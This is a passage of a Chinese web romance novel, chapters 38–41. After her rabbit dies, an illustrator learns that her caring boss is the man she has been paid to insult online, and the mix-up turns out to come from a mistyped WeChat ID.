下一秒,休息室的门被推开,任舒晚迟钝回头,对上陆言知焦急的目光,视线交织,她愣愣眨了眨眼,喃喃道:“陆总,麻烦你了。” 陆言知蹲在她身前,手扶在沙发上,眼里满是心疼和怜惜,“你还好吗?” 任舒晚看着他,空荡的心底泛着酸意,撑满心脏。 她想说不好,想说很难过,想说心痛的感觉太坏了,可最终她一句话也说不出来,只是眼泪无声无息地往下流。 陆言知心里堵得难受,他用指腹擦掉她的眼泪,哑声道:“跟我说句话,好不好?” 任舒晚盯了他一秒,再也忍不住,紧紧抱着元宝嚎啕大哭起来,所有心痛在这一瞬间迸发,席卷身体。 陆言知犹豫片刻,将她蜷缩的身体抱在怀里,他知道现在所有的安慰都是徒劳,没有人能在短暂的时间里接受心爱的宠物离世,他能做的很少,但可以一直陪着她。 他的怀抱很暖很可靠,任舒晚像失温的人,不断往他怀里贴近,不知满足的汲取温暖。 陆言知手臂收得很紧,任由她索取,希望以此带给她一些安全感。 他低下头,在她耳边轻声细语哄着,手慢慢顺着她的头发,然而怀里的人还是止不住的哭泣。 哭声像针,一下一下刺着他的心脏,留下细密的针眼,而她流出的眼泪洇在上面,疼得窒息。 不知过了多久,她的哭声逐渐停止,取而代之的是微弱的呜咽。 陆言知将她额头的汗细细擦去,又拨开贴在脸颊的发丝。 任舒晚仰头看他,眼睛肿的像核桃,鼻尖通红,她终于肯开口,哑着声道:“怎么办,元宝不在了。都怪我,我不该把它自己放在家里,我该在家陪它,那样就能在它刚生病的时候送来医院,说不定就不会有事了。” 陆言知:“不是,跟你没有关系,突发急性肺水肿病情很急很快,即便立刻抢救,能活下来的概率也是微乎其微。” “可是……万一呢?” 陆言知放缓声音,“不要埋怨自己,元宝是提前完成任务了,它很棒很优秀,比其他小兔都更快的完成任务。说不定现在正在兔星跟其他小伙伴吹牛呢。” “它还会说自己有个漂亮温柔的妈妈,有关系最好的煤球好朋友,有自己的小窝,好玩的玩具,讲怎么被妈妈带回家,妈妈怎么爱它,怎么过幸福的生活。” 陆言知学着她平时对元宝和煤球的语气,温柔讲述着。 任舒晚:“那它还会再回来找我吗?” “会,它处理完兔星的工作就会再回来找你,所以你不要难过,你要开开心心的生活,努力赚钱给它准备更好的,等它回来肯定要感叹妈妈怎么这么厉害。” 任舒晚深信不疑地看着他,“那我能不能再难过一下,我还是很舍不得它。” “可以,但不要太久,元宝会担心的。” 任舒晚点了点头,“只一小会儿。” 陆言知温柔道:“我带你和元宝回家,好吗?” 回家…… 她又点了点头,喃喃道:“好,元宝应该也想回小窝看看。” 回到家,任舒晚将小窝收拾得干干净净,把元宝放了进去,又给它摆上它最爱的玩具和干草。 陆言知给她煮了面,她不肯吃,总说不饿,只想守着元宝。他只好端着碗在旁边哄她,她才勉强吃了两口。 陆言知守了她一夜,她守了元宝一夜,直至天快亮的时候她才撑不住,趴在地板上睡着。 陆言知轻手轻脚将她抱上床,她睡得很沉,没有醒,蜷缩在被子里,手紧紧握着他的袖子。 他没有挣脱,顺势坐在地板上守着她。 睡了没多久,她突然动了一下,头埋到枕头里便开始流泪。 陆言知不知道她梦到了什么,但她哭得很伤心,眉头皱在一起,双眸紧闭,眼泪从眼角滚滚而出,他擦掉,下一秒又有新的涌出来。 他只好拍着她的背,声音轻缓的哄着。 不知过了多久,她猛然从梦中惊醒,愣愣瞪着双眼,喃喃自语,“我梦到元宝了。” 她坐起身看向笼子里的元宝,“它说那天在灵泉寺门口跳到我身上是因为喜欢我的味道,它很开心当我的宝宝,它说它会再回来找我,让我不要哭了。” 任舒晚眼泪止不住的掉,“它让我把它的肉身火化了,它说下次会换别的身体来,让我不要担心。” “但是它没告诉我它什么时候回来,也没告诉我去哪里等它。”她担心地看向陆言知,“怎么办,我们会不会错过?” “不会。”陆言知坚定道,“元宝既然这么说,就一定有办法,你要相信它。” 任舒晚愣了瞬,“你说得对,元宝能托梦给我,它一定很厉害。” 她从床上爬起来,像打了鸡血似的,“我再陪它一会儿,你有认识的宠物殡葬吗?我要给它办一场葬礼,让它开开心心的结束这次人间旅行。” 陆言知应下,“我去打电话联系。” 他转身往阳台去,等打完电话回来,任舒晚已经把元宝包在了毯子里,还准备了好多清洗干净的蔬菜。 两人出发去殡葬馆,给元宝举行了小型的追悼仪式,任舒晚最后又狠狠哭了一次,这次哭过之后她把情绪都宣泄干净了,也释怀了元宝的离开。 最后元宝的尸体火化,曾经活蹦乱跳的小兔变成了一小瓶骨灰,任舒晚不想埋掉,决定一直带着,留个念想。 回家的路上,任舒晚说道:“陆总,谢谢你陪我。当我得知元宝情况不好的时候,真的很崩溃,昨晚是我有生之年来最黑暗的一晚,如果没有你在,我不知道我该怎么熬过去。” 陆言知:“你有任何事情都可以给我打电话。” “谢谢你。”任舒晚偏头看向他,他昨晚一夜没睡,脸色疲惫,眼圈有些发青。 “你一会儿就回家睡觉吧,我没事了。” “我没关系,经常熬夜,习惯了。”陆言知顿了顿,“你回家睡觉吧,等你睡醒我再走。” 任舒晚心里一暖,他很可靠,会在她遇到任何麻烦时出现,帮她解决,带她离开沼泽。 或许她该勇敢些,接受他的爱意,也去坦然面对自己心底真实的想法。 回到家,陆言知煮了粥,任舒晚喝了一碗,又在他的要求下躺床上去睡觉。 她闷在被子里,看着他收拾餐桌的“残局”。 “陆总,其实我家沙发是个沙发床,你不走的话,可以放下来在上面睡一会儿。” 说完,她觉得脸颊有些热。 陆言知动作一顿,点头应了声,“你快睡,不用管我。” “哦。”任舒晚蒙着被子转身闭上眼,“午安。” 静默几秒后,陆言知缓缓道:“午安。” 这一觉睡得很沉很深,任舒晚梦到好多,梦见回到老家,和发小在古镇里骑自行车,梦见元宝在一片草地上玩耍,梦见她和陆言知去看了一场烟花。 梦里很杂,但她每一秒都很开心。 等睁眼时窗外已经一片漆黑,她床头的台灯亮着,借着暖黄的光,她看到沙发上格格不入的颀长身影。 陆言知没有放开沙发床,挺拔修长的身体侧躺在窄小的沙发上,手枕在头下,双眸紧闭。 任舒晚蹑手蹑脚从床上爬起来,抱着一侧的毯子朝他走去。 他睡相很好,眉眼舒展,发丝虽略有凌乱,但依旧好看。 任舒晚小心翼翼展开毯子,俯身盖在他身上,离得近了,她能清晰听到他均匀的呼吸声,闻到独属于他的清淡木质香—— 作者有话说:看到有宝宝疑惑元宝为什么会那么突然的离开,我解答一下,突发急性肺水肿是一个非常凶险的病,可能毛孩子前一秒还活蹦乱跳,下一秒就突然发病了。得了这个病基本80%进入鬼门关了,而且这个病不易察觉,几乎没有任何征兆,猝不及防,所以这是元宝为什么会突然离开的原因。 [抱抱]不过我相信元宝还会回来的,它舍不得爸爸妈妈和煤球。 第39章 第 39 章 掉马 任舒晚第一次这么肆无忌惮的近距离看他, 记不清是从什么时候有了心动的感觉,她说自己更相信一见钟情,但其实对陆言知是日久生情。 莫名的交集变多, 因为元宝意外的降临, 她买到他出售的闲置, 后来因为工作又经常接触,她曾认为连命运都在推着他们前进。 她看营销号说, 缘分是一场不出门也避不开的雨, 放在他们身上,确实很贴切。 她垂下眼睑,目光细细描摹着他的容颜, 如果说心动始于颜值,又迷于声音, 那此刻,她深陷于他的人品和三观。 常听的一句话,要找一个本身就很好的人,而不是只对你好的人。这么想来,陆言知就是那个本身很好的人。 如果以后命运再次将两人推向彼此, 她想, 只需要再有一次, 她就坦然接受,直面自己的直觉和内心。 “在看什么?” 低哑的声音拉回她的思绪, 陆言知不知道什么时候醒了, 眉眼间带着浓浓的倦意, 却用温柔的目光看她。 偷看被抓包,任舒晚脸一红,仓皇起身就要躲。 可惜她反应还是慢了一点, 陆言知眼疾手快抓住她的手腕,稍微一用力,她就被迫弯下身子靠近他。 他微微侧头,灼热的呼吸若有似无地飘出,“跑什么?” “我……”任舒晚一时语塞,心慌意乱地歪头躲开,“我给你盖被子,看你脸上有东西,给你拿掉。” 她的表情出卖了她,陆言知一点都不信这个漏洞百出的谎言。 “什么东西?”他眉梢染上笑意,神色微妙,“拿掉了吗?能不能再仔细看看,是不是还有脏东西?” 眼见谎话没能骗了他,任舒晚恨不得找个地洞钻进去,她挣扎了下手腕,“没有了,你脸上白白净净,干净得很。你别抓着我了,我要去做晚饭。” “那任老师能管我一顿饭吗?” 任舒晚胡乱点着头,“你再拉着我就不管了。” 陆言知轻笑了声,无奈放开她。 她像受惊的兔子,仓皇逃窜,只留下一个模糊的背影。 陆言知坐起身,笑意敛去,刚才或许是个非常好的机会,他能借机表白。可他不想趁人之危,她如果只是因为他的帮助暂时对他产生好感,从而接受表白,保不齐后面会后悔,这不是他想要的。 他看向明亮的厨房,忙碌的背影纤细单薄。 他可以等。 — 元宝离开的第七天,任舒晚在家里布置了祭台,放上它生前最爱的玩具和食物,点了两支蜡烛,烧了香。 那晚她说了很多想念它的话,到了晚上也在梦里如愿梦到了它,它在一处非常漂亮的房子里生活,里面有大片的草地,有无数只和它一样可爱的小兔。 这次元宝没有说话,但任舒晚能感知到它很快乐。 醒来时她发现枕头洇湿,她留了很多泪,却没有很难过,她知道元宝在托梦告诉她,它生活的很好,让她不用担心。 或许因为这场梦,她渐渐从元宝离开的阴影中走出来,只是偶尔还会想念,但想到它很好,她也舒心不少。 夏日来临,天气持续晴好,百花盛放,万物生机盎然。 新房进入装修阶段,任舒晚忙中抽空去盯进度,好在工人和装修公司都恪守本分,认认真真干活推进度。 除此之外,工作也连轴转,《剑指江湖》进入了开发第二阶段的第五个月,工作全面展开,经常性加班,会议也越来越频繁。 而她和陆言知的关系,随着时间推移变得越发暧昧,周末会经常约会,偶尔他也来给她做饭,或邀请她去看望煤球。 一切都在按部就班的照轨迹发展,她也默认她和陆言知最终会走到一起,直至一场会议,打破了这台天平。 那天是项目组例行会议,策划部和技术部因为数值曲线争论不休。 任舒晚听得哈欠连天,但又不能离开,实在无聊,她悄咪咪掏出手机藏在笔记本后,准备先把早上的代骂骂了。 点开年卡渣男聊天框,她俯下身子小心翼翼戳屏幕打字。 [渣男,你脖子上面真可爱,原来是个猪脑袋。] [人这一生遇见撒比很正常,如果你感觉人生一路走来很顺畅,很有可能你就是那个撒比。] 她敲得认真,但不知道为什么,耳边总是传来一声又一声的消息铃声,原本嘈杂的会议室也因此安静下来。 她停住动作,从笔记本后抬起头,眼前悬挂的幕布上放着会议PPT,而最上端弹出最新的消息通知,上面是熟悉的网名和熟悉的脏话。 她一瞬间有些懵,耳边嗡嗡作响,什么声音都听不到,只有环绕的嗡鸣。 不是,这…… 这……不是她刚发给年卡渣男的吗????? 会议室里鸦雀无声,技术部和策划部也不吵了,纷纷看着幕布吃瓜。 任舒晚呆愣在原地,眼神空洞,仿佛被勾走了灵魂,只剩一副空壳躯壳。 就在这时,陆言知缓缓起身走向主控区的电脑,在众目睽睽下退出了私人微信。 众人见状连忙低下头装作无事发生,会议室里再次响起此起彼伏的说话声,只剩任舒晚僵在原地,不敢置信地看着眼前发生的一切,脑子里只回荡着一句话: 陆言知是年卡渣男…… 年卡渣男是陆言知…… 突然,陆言知朝她的方向走来,下一秒停在她身边,他俯身单手撑着桌面,侧身和一旁的安逸说话。 任舒晚愣愣看着,片刻后她面前出现他的手,修长的指尖屈指轻叩桌面。 她茫然抬头看他,嘈杂下,对上他深邃的黑眸,仿佛在说……别骂了。 任舒晚无措地眨了眨眼,脑子已经乱成了一锅粥,别说骂了,她都不知道该怎么活了。 她记不清怎么走出的会议室,只知道回到工位时,办公室的人问她怎么了,说她脸色白得跟纸似的。 她想不明白,为什么对方会是陆言知啊,怎么可能是陆言知啊。 她骂了他也就算了,偏偏还因为他是渣男才骂的他。看着聊天框里的那些谩骂,此刻像回旋镖一样扎在她心上。 所以他的绅士,他的礼貌,他的好都是装出来的?他本质就是一个彻头彻尾的渣男?! 可是怎么能有人装得那么完美,连点破绽都没有呢? 而且他怎么好意思敲她桌子提醒她的?他不觉得羞愧难当吗? 不过幸好命运让她趁早发现了他是渣男,不然后果不堪设想。 她头磕在手绘屏上,不知该哭还是该笑。 魂不守舍地过完一上午,临近午休时,她收到了陆言知的消息,[中午去吃日料?我在老地方等你。] 任舒晚看着消息,心里五味杂陈,有些难过,难过真心错付,有些恶心,恶心他还在装温柔。 她没回复,反手把他微信拉进了黑名单。 人怎么能瞎眼到这个地步?!错把渣男上司当金玉良缘。 陆言知等了很久也没收到回复,再次发去消息时却弹出鲜红的感叹号。? 他还满脸问号时,办公室的门被安逸大力推开,随之而来的是他八卦的笑声,“哎呦,我可算忙完能来吃瓜了。” “什么情况啊?那是小任吧?你俩玩得真花啊,搞什么角色扮演呢,翻车了吧。” 安逸正幸灾乐祸,立刻收到陆言知一记眼神刀,他愣愣瞪大眼睛,“不是,该不会对方不是小任吧???你劈腿?你脚踩两只船???你也太不是人了陆言知,你怎么能这么对小任啊?你要是不喜欢人家就别招惹人家啊!” “不对,我怎么想你也不是这种人啊。”安逸急得挠头皮,“你倒是说话啊!” 陆言知面色阴沉,“你话太多了,想八卦出去八卦。”??? 安逸丈二和尚摸不着头脑,“你又犯什么病?” 陆言知懒得理他,起身出门,直奔美术组办公室。 此时已经是午休时间,办公室里除了减肥的,其他人基本都去吃饭了。 任舒晚的工位也空着,人早不知道去哪了。 他转身离开,又奔楼上茶水间,然而茶水间也没找到她的身影。 安逸一路跟着他,实在憋不住了,“到底咋了,你说句话啊,你要急死我吗??” 陆言知扫了他一眼,“说不清楚,跟你没关系,我能处理。” 安逸无语,“你这么找算怎么回事,你给她打电话呗,她肯定是出去吃饭了。” 陆言知默了默,拿出手机拨通电话。 听筒静了一瞬,响起规律的嘟嘟声,十几秒后,传出机械的女声,“您拨打的电话暂时无法接通,请稍后再拨……” 他挂断,安逸问道:“她不接?” “嗯。” 安逸:“再打啊。” 陆言知再次拨通,糟糕的是这次连响都没响,直接就传出了播报声,她把他拉黑了…… 安逸着急道:“小任为什么突然这样啊?你是不是惹着她了?她生气了?” 陆言知垂下眼睑,他不知道为什么,难道因为她觉得骂了他? 与此同时,任舒晚和祝笙在楼下馄饨店,祝笙看她没吃几口,脸色也不好,便问道:“有事?我看你还挂了电话。” 任舒晚摇摇头,“一些糟心事而已。” 祝笙看她不说,认为是私事,没再多问,转言活跃她的情绪,“对了,陆总塌房了,今天上午会议你在的吧?” 任舒晚如鲠在喉,“嗯,我在,看到来着。” “据说对方骂他渣男,说他是撒比,猪脑子。”祝笙叹口气,“真是知人知面不知心啊,我以前认为陆总是有钱人中的清流,没绯闻,私生活干净,没想到都是表面啊,以后我再也不信男人了,天下乌鸦一般黑。” 任舒晚抿唇,“你说,人真能演这么好吗?” “当然了。”祝笙耸耸肩,“就跟我们看到的男明星似的,好多看上去光鲜亮丽,痴情专一,实际婚内出轨,家暴妻子。” 祝笙:“其实也是我们接触不到而已,就拿陆总来说吧,我们也只是看到他工作中的一面,说不定私下接触就会发现他的另一面,很可能安总监早就知道陆总的事呢,很正常。” 任舒晚心里堵得难受,只能说陆言知是个比演员还优秀的演员,她私下接触那么久都没能看出他的真面目。 “那容锦呢?你觉得他是个值得托付的人吗?”任舒晚问道。 祝笙歪头想了想,“目前看上去是个专一的人,但不排除他很会演戏,将来到底会不会变成渣男也不好说,只能说人太复杂了。” 任舒晚拨着碗里的馄饨,沉默无言—— 作者有话说:[无奈]陆总真是情场新人啊,还没明白老婆为什么生气。 第40章 第 40 章 微信号不是我 吃完午饭, 任舒晚不想回公司,她怕陆言知来找她,此时此刻她根本不知道以何表情面对他, 很难想象一个温柔绅士的人, 皮囊下真实的灵魂是这样可怖。 无法接受只能逃避, 逃到她能冷静对待这件事时。 她拽着祝笙去打羽毛球,祝笙一脸不解, “我们为什么不回公司打?” “公司球馆人太多了。”任舒晚随口找理由。 祝笙挠头, 疑惑道:“人多吗?我们每次去不就那几个人。” 任舒晚不满地噘起嘴,撒娇地搂住她,“一句话, 陪不陪我去。” 祝笙哪能受得了,举手投降, “去去去,我的大小姐。” 两人在球馆一阵暴汗,任舒晚把所有的情绪发泄到球上,直接把羽毛球当成了陆言知的脑袋,猛猛暴扣, 吓得祝笙以为她被什么附体了, 非要带她去找神婆。 任舒晚摇着头拒绝, 她很想跟祝笙吐槽,可奈何这件事根本不知道从哪说起, 她只好咽下嘴边的话, 苍白地说没事。 眼看到了上班时间, 祝笙提出回公司,任舒晚现在听到“公司”两个字就头大,她找理由去买咖啡, 祝笙没多说话,大抵也看出她有心事。 两人从球馆分道扬镳,任舒晚去了附近常光临的咖啡店,进门找了处僻静的角落坐下。 她掏出手机点单,却看到半小时前小铺收到的新消息,年卡老板询问她今天中午的代骂完成了吗? 她放弃点单,先切到咸鱼小铺回复。 [不好意思,老板,今天中午的还没骂。我可能要违约了,没办法继续帮您代骂了。] 消息刚发出去,对方回复迅速,言简意赅,[怎么了?什么原因?] 任舒晚:[私人原因,很抱歉,我可以全额退款,是我违约在先,您可以再去找别的铺子。] 她宁愿把钱全退了,也不想再看到陆言知,不过要是现在让她骂他,她能从白天骂到凌晨,没有一句重复的。 年卡老板:[是他骂你了吗?还是惹你生气了?] 任舒晚:[没有老板,是我自己的原因。] 年卡老板:[我可以加钱。] 任舒晚叹口气,她理解年卡老板的心情,她也差一点身陷囹圄,感同身受,但眼下实在没办法硬着头皮继续了。 任舒晚:[老板,不是钱的事,是我自己的问题,很抱歉。] 年卡老板正在输入了很久,到最后也没发来一句话。任舒晚等了等,选择取消了交易,付得钱按原渠道退回老板的账户里。 任舒晚又打字:[感谢老板的理解和支持,钱已经退回去了。] 对方没有再回复,任舒晚觉得这个老板算是得罪了。 她点了咖啡,拖到快迟到才回公司,结果快到办公室门口时迎面碰到来找她的陆言知。 四目相对,她低下头匆匆往办公室里跑,脚底生风,似踩了风火轮,一路火花带闪电。 然而没走出去几步,身后传来紧随其后的脚步声,继而响起低沉的男声,语气冷淡,“任老师,来我办公室一趟。”??? 他有病吧?假公济私? 任舒晚急刹车,下意识看向周围,这个时间这个地点,办公室门口是人最多的时候,好多出去吃饭的同事都踩点回来。 但麦芒掉进针尖里,真是凑巧了,此时此刻门口就他们两个人,连个多余的影子都没有。 既如此,任舒晚也不藏着掖着了,转头瞥了他一眼,讽刺道:“没空!” 说罢,转身就走,徒留一个高傲的背影。 陆言知站在原地,头痛欲裂,他是真拿她没办法了。 — 一下午,任舒晚人在工位上,魂儿早不知道飞去了哪里。 上头的情绪压下去,她静下心来想了许多,发现一个致命的问题,在会议室时,陆言知为什么会跑过来提醒她,难道他知道骂人的是她??? 念头冒出来,她顺着思绪捋下去。 她最开始用错了账号,是先用工作号加的“年卡渣男”,所以是不是当时他就已经知道了…… 想到这点,任舒晚一阵头皮发麻,所以她一直认为自己披着马甲,其实早被看得透透的了。 那陆言知不拆穿,是不是在故意看她出糗,故意戏弄她。 想到这些,任舒晚压下去的怒意急速升腾,只觉气血上涌,眼前发黑,头脑发昏,手颤抖不断,根本控制不住。 他这么做太过分了!她恨不得冲去办公室给他一顿暴捶,把他脑壳敲掉! 但理智告诉她,她需要冷静下来。 沉了片刻,缓过情绪,她拿着水杯去茶水间接水,顺便转移注意力。 捏着玻璃杯,心不在焉地走出办公室,朝楼梯间走去。 现在是上班时间,加之最近各个项目组都忙,像她这么摸鱼的人比较少。一路没遇到任何人,结果刚打开楼梯间的门,迎面碰到她最不想看到的人——陆言知。 陆言知居高临下站在楼梯中间,双手插兜,脸色阴沉,对上她的目光,丝毫不见意外,眼底只有翻涌的晦暗。 他在监控室待一下午了,看到她拿着杯子离开办公室,猜她就要去茶水间,他以比她更快的速度堵在这里。 任舒晚下意识要遛,刚转过身,手腕上突然多了一股力,男人修长的手指不由分说地钳制住她,下一秒,清淡的嗓音响起,“跑什么,骂了一年了,现在知道跑了?”??? 任舒晚气笑了,她有什么可跑的,她又没做亏心事,她骂他怎么了,他说得什么鬼话,以为她愧疚了吗? “骂你怎么了?你要是听不见我还能刻你碑上呢。”任舒晚甩开他的手,嗤笑道,“光屁股打老虎,既不要脸也不要命。” 陆言知是第一次亲耳听到、亲眼见识到她的攻击能力,比网络上还冲。 他眉头紧蹙,愁容满面,“我没怪你骂我。” “呵呵呵呵。”任舒晚怒急反笑,“你怪得着吗?别以为你是大老板我就不敢骂你了,我告诉你,别纠缠我了,再纠缠我就报警把你抓起来。” 陆言知对她才是真正的束手无策,她比那些难缠的客户,难写的代码,难修的bug都要复杂,连个标准答案都没有。他无从下手,太阳穴怦怦跳,“为什么?我哪里做得不好,你告诉我。” “没有,陆总,您好得很,您要是不找我更好。”她怒目圆睁,一瞬不瞬地盯着他,“别!再!跟!我!说!话!” 说罢,任舒晚甩手就要走,陆言知好不容易堵到她,哪能让她跑了,不由分说抓住她的手腕往回一拉,反手强制将手抵在她后背处,她被迫背着手,根本没有反抗的余地。 任舒晚哪是乖乖认栽的人,握着水杯的手抬起来往他胸口捶去,还没碰到,他再次握住,同样操作,三下五除二,她的两只手就会了面。 他力气比她大得多,只需要一只手就能轻松钳制住她两个手腕,凭她怎么挣脱都纹丝不动。 陆言知垂下眼睑看她,沉声道:“我要跟你说话。” 任舒晚气得跳脚,“我不想跟你说话,你放开我,你这个暴力狂,大渣男,笑面虎,伪君子,斯文败类,卑鄙无耻!!!” 陆言知眯起眸子,不解道:“我怎么了?” 任舒晚仰头瞪他,狠狠瞪他,要把他看出个窟窿来,“你说你怎么了?你干得是人事吗!你早知道是我在骂你,还装作不知情故意戏弄我。还有,你就是个大渣男,装什么痴情专一的人设,都是我瞎了眼才信你。” 任舒晚越说越气,既然话赶话说到这了,她也不想拖下去了,直截了当说明白更好。 “你不用再演了,我不可能信你的,我知道你是什么人,我们一拍两散,你走你的阳关道,我过我的独木桥,好聚好散。你放心,我不会出去败坏你的名声,你的私生活我领教了,人在做天在看,你早晚会遭报应的。” 通过只言片语,陆言知勉强拼凑出她话里的含义,他才明白过来她为什么会突然变得那么生气,忽然要跟他划清界限。 是他忽略了,她骂他是把他当渣男骂的…… “我不是渣男,你认错人了,我不知道最开始是谁找的你,让你骂我,但那些事情我从来没做过。”陆言知顿了顿,“我不该隐瞒知道你是谁这件事,我的初衷是想要离你近一点。” 任舒晚嗤笑了声,他说的话,她一个字都不信,既然他那么愿意装,那就别怪她撕烂他的面具了。 “你的前女友叫恬恬吧?你和她在一起时出轨成瘾,不断PUA她,后来找到更合适的就断崖式分手。再后来因为她找我骂你,你逼的她自杀,人差点没了命,躺在医院昏迷不醒。你摸着良心说说,陆言知,这是不是你干的事。” 陆言知抿唇,空闲的手听话地放到心口位置,认真道:“不是。” “不到黄河不死心,不撞南墙不回头。”任舒晚嘲讽地笑了笑,“我不想跟你争论了,你不承认我也没有办法。我现在只想跟你划清界限,求你别找我了,好吗。” 陆言知不为所动,沉着脸,道:“你找那个人,我可以跟她当面对质。” 任舒晚:“我不想知道你的事,你愿意对质自己去找,别扯上我。” “你到底怎么才肯信我?我说得都是实话。”陆言知低头看她,漆黑的眸子里覆着一层郁色,“给我一次机会,我可以证明自己的清白。” 任舒晚不知道是她太傻,还是他演得太好,有一瞬间真的信了他的话,幸好理智占据上风,她冷冷撇开头,“我只信我自己眼睛看到的。” 气氛沉默,两人就这么紧贴着,她半倚靠在他怀里,他虚虚搂着她,她不再挣扎,他也不肯放手。 良久,他缓缓开口,语气略带委屈,“我真的没有,我…没有谈过恋爱。” 任舒晚翻个白眼,鬼才信他的谎话,满嘴跑火车,他怎么好意思说出口的! 陆言知见她不说话,试探看向她,沉吟道:“在你第一次骂我时我就知道是你了,因为你用的工作号,我一眼就认出来了。那时候我以为你对我不满,后面通过你说得话,我察觉有些奇怪,才发现你认错人了。” 陆言知:“我说你认错人,你没有在意,还骂了我一顿。后来,你退出项目组,也不骂我了,我没有合理的理由跟你联系,而且听说你跟那个主播走得很近,一起玩游戏。我想跟你聊天,也想让你忙一点,就建了一个咸鱼号找你下单,想让你陪我聊天,结果你说你只接代骂,我只好让你……骂我。”??? 任舒晚怀疑自己听错了,所以后面那个财大气粗的老板也是陆言知?? 这么想来,怪不得两个人莫名的有些同步,工作日她忘了骂,两个人会轮着找她,反观到了休息日,就一起装死。 再就是他说的认错人? 她有那么点印象,确实当时她还怼了他一顿。 不对,任舒晚闭上眼,她怎么又信了他的鬼话了。 沉默片刻,陆言知继续试探道:“我可以证明我自己,可能需要一点时间,因为现在没有头绪,猜不到对方是谁,但他百分之一百在说谎,我没有前女友,也不认识叫恬恬的人。” 任舒晚不接话,她脑子里又一团浆糊了,陆言知言语诚恳,不断想要找对方来证明自己,如果真的说谎,怎么敢对质呢? 可是恬恬也不像说谎的样子,假如她真的说谎,动机是什么?又为什么要陷害陆言知呢? 她不知道该信谁,信陆言知?还是信恬恬? 她想不通,既然想不通,最好的办法就是去调查明白,想要调查,避免不了需要找到恬恬。 可她又有些犹豫,假如恬恬说得是真的,那她再提起这些事情,会不会影响恬恬的情绪,毕竟她生病了,说不定刚走出来。 举棋不定间,她决定先找到之前和恬恬的聊天记录,从细枝末节去推测。 任舒晚:“你放开我。” 陆言知没动,小声商量道:“你别走。” 她无语,瞪了他一眼,“放开我。” 等了几秒,陆言知不敢不从,沉默着松开了她。 束缚消失,手腕传来隐隐的僵硬感和疼痛感,任舒晚小心活动着,嘴上警告道:“以后不要靠近我。” 陆言知抿唇,也不应声,转言道歉,“对不起,弄疼你了。” 任舒晚知道说的话白说了,纯是对牛弹琴,她冷哼一声,自顾自掏出手机打开咸鱼小铺,找到恬恬的账号,恬恬的个人资料很简单,看不出什么异样,头像也是网络上很常见的卡通小猫。 任舒晚:“我调查需要一段时间,你等着去吧,期间不要找我。” 陆言知微怔,小心翼翼开口,“多久?” 任舒晚聚精会神翻着聊天记录,心不在焉回道:“看情况。” 陆言知沉默一瞬,“好,那能告诉我她最开始怎么找的你吗?” 任舒晚狐疑地看向他,“你要干嘛?” 陆言知:“我想自证清白。” 任舒晚思索片刻,后退一步,躲着他点开聊天记录。翻到她和恬恬第一次对话,大概扫了一眼,没什么特殊的,就是简单的沟通,想了想,她决定给陆言知看一眼,并观察一下他的反应。 手机递到陆言知面前,他垂眸认真看去。 开场是简单的沟通,说了一下渣男的所作所为,接着便发来了渣男的微信号。 看到微信号处,陆言知眯起眼,“这个微信号,不是我。”《 》 40-49 第41章 第 41 章 我喜欢你 这个微信号, 不是我…… 任舒晚觉得他疯了,居然为了扯谎什么话都敢说。 她咬着后槽牙道:“你当我傻吗??” “不是。”陆言知老实摇头,他拿出口袋里的手机, 点开私人微信的个人资料, 摆在任舒晚手机旁, 让她比较着看。 658959636 65895636 差一个数字!! 任舒晚看了一遍,不敢置信地的又看了一遍, 手指指着数字一个个数, 确实差了一个。 “你该不会为了骗我,临时改的微信号吧??”任舒晚狐疑地盯着他。 他迅速操作手机,当着她的面打开□□, 点开资料给她看,“我的微信账号是□□账号, 一模一样。” 任舒晚还是有些不相信,世界上怎么会有如此巧合的事情? 她点开微信,重新去搜索年卡老板发的账号,结果搜出来是另外一个人,头像是一张男生的自拍照, 很帅, 但审视面相给人一种不太舒服、不靠谱的感觉, 不知道是网图还是本人照片。 陆言知看着她,语气委屈, “真不是我, 我是被冤枉的。” 任舒晚瞧了他一眼, 思忖着错误究竟怎么造成的。时间有些久远了,过程已经想不起来,但可以肯定的是, 咸鱼小铺聊天不能复制,她一般都是背下客户的账号去添加,这个情况很容易导致错误产生,漏掉数字或者记混顺序,虽然以前没发生过,但眼下确实是真的发生了。 不过为了保险起见,她还是需要找一下恬恬,如果真是她的失误加错人,那她压根没骂渣男,还收了人家的钱,她得退钱回去。 任舒晚看向陆言知,“暂时相信你,不过我还需要确认一下,你回去等消息吧。” 陆言知瞧她一眼,沉吟道:“那能把我从黑名单放出来了吗?我给你打不通电话。” 任舒晚想了想,勉为其难道:“那你好好表现。” “好,一定!” 任舒晚把他的微信和手机号统统拉出黑名单,他脸上才浮现出笑意。 她没跟陆言知继续纠缠,公司人多眼杂,被人碰到也不好解释。 两人在楼梯间分开,任舒晚去茶水间接了杯水,回到工位就措辞给恬恬发去消息,她大概解释了一下来龙去脉,表示自己可能骂错人了,并把陆言知和那个渣男的微信个人资料发了过去,麻烦她辨认。 恬恬没有立刻回复,消息也未读,她便收起手机开始画稿。 没了心事,灵感也随之而来,投入后很快熬到下班。 完成手上的部分,任舒晚保存后放下笔,活动着脖子,顺手拿起手机查看,就看到不久前恬恬的回复。 她引用了任舒晚后面发的个人资料,[这个人是,他的头像就是他的照片,你应该是加错人了,前面那个我不认识。] 得到恬恬的确认,任舒晚心里五味杂陈,愧疚于她加错人,耽误了老板的单子,开心于渣男不是陆言知,她没看走眼。 任舒晚:[对不起老板,我确实加错了,我一直骂的是前面那个人,我把钱退给你吧,耽误你单子了,抱歉。] 她找到当初计算的明细,截图发给了恬恬,然后把钱转给了她。 等了一会儿,恬恬回复到:[没关系,我现在不在意这些事情了。] 任舒晚:[你身体好点了吗?] 恬恬:[好多了,我现在很开心,每天吃喝玩乐。] 她紧接着发来一张照片,是日落时分的海边,碧蓝的天空被染成渐变的橘红色,天光倒映在海面,形成水天一色的美景,甚是治愈。 任舒晚替她高兴,活下来走出阴影,去看世间万物,会发现人类不过是沧海一粟,那些糟糕的情绪也不足为惧。 任舒晚:[真好,景色好,你也好。] 恬恬发了一个可爱的微笑表情包,[我看到之前跟你聊得那些,觉得以前的自己真傻,把他当成全世界。现在回看,他算什么东西呢。] 听她这么说,任舒晚坚信她确实走了出来。她悬着的心回归原位,她之前还在担心贸然提起过去的事情会让恬恬情绪激动,幸好没有。 任舒晚:[就是!能让我们开心的男人我们留下,不能让我们开心的渣男就该一脚踹出去!] 恬恬:[你说得话太有道理了,等我回国约你吃饭。] 两人闲聊了很多,你一言我一句的十分投机,等任舒晚再抬起头才看到已经过了下班时间,办公室只剩寥寥几个加班的同事。 